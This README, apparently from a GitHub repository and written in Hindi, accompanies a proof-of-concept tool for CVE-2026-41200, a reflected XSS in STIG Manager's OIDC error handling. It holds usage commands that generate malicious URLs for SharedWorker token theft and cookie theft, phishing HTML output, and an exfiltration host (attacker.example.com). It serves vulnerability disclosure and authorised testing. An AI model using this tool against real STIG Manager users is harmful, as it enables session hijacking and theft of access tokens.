CVE-2026-41200 — STIG Manager OIDC परावर्तित XSS PoC

STIG Manager संस्करण 1.5.10 से 1.6.7 में परावर्तित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता के लिए अवधारणात्मक प्रूफ ऑफ कॉन्सेप्ट।

भेद्यता सारांश

STIG Manager वेब ऐप OIDC प्रमाणीकरण त्रुटि हैंडलिंग कोड में एक परावर्तित XSS भेद्यता मौजूद है। OIDC प्रदाता द्वारा लौटाए गए error और error_description क्वेरी पैरामीटर HTML एस्केपिंग के बिना innerHTML के माध्यम से सीधे DOM में लिखे जाते हैं। एक हमलावर जो एक दुर्भावनापूर्ण URL बना सकता है और किसी उपयोगकर्ता को उसका अनुसरण करने के लिए मना सकता है, वह एप्लिकेशन संदर्भ में मनमाना जावास्क्रिप्ट निष्पादित कर सकता है।

भेद्यता सबसे गंभीर तब होती है जब लक्षित उपयोगकर्ता के पास किसी अन्य ब्राउज़र टैब में सक्रिय STIG Manager सत्र होता है — इंजेक्ट किया गया कोड एक्सेस टोकन प्रबंधित करने वाले SharedWorker के साथ संचार कर सकता है, जिससे पीड़ित की ओर से प्रमाणित API अनुरोध सक्षम हो जाते हैं।

• CVE: CVE-2026-41200
• CVSS 4.0: 8.5 (उच्च)
• Affected: NUWCDIVNPT/stig-manager >= 1.5.10, < 1.6.8
• Patched: v1.6.8
• Advisory: GHSA-wg33-j3rv-jq72
• Article: hunt-benito.com

उपयोग

# Generate a malicious callback URL (SharedWorker token theft mode)
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m sharedworker

# Generate a simple cookie theft payload
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m simple

# Output as phishing HTML
python3 cve-2026-41200-poc.py --format html

# Custom API and exfil hosts
python3 cve-2026-41200-poc.py \
  -c https://stig-manager.example.com/auth/callback \
  -a https://stig-manager.example.com \
  -e https://attacker.example.com

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान किया गया है।

• केवल उन इंस्टॉलेशन के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अधिकार है।
• अधिकांश न्यायक्षेत्रों में कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।
• लेखक इस उपकरण के दुरुपयोग के लिए कोई देयता नहीं मानते हैं।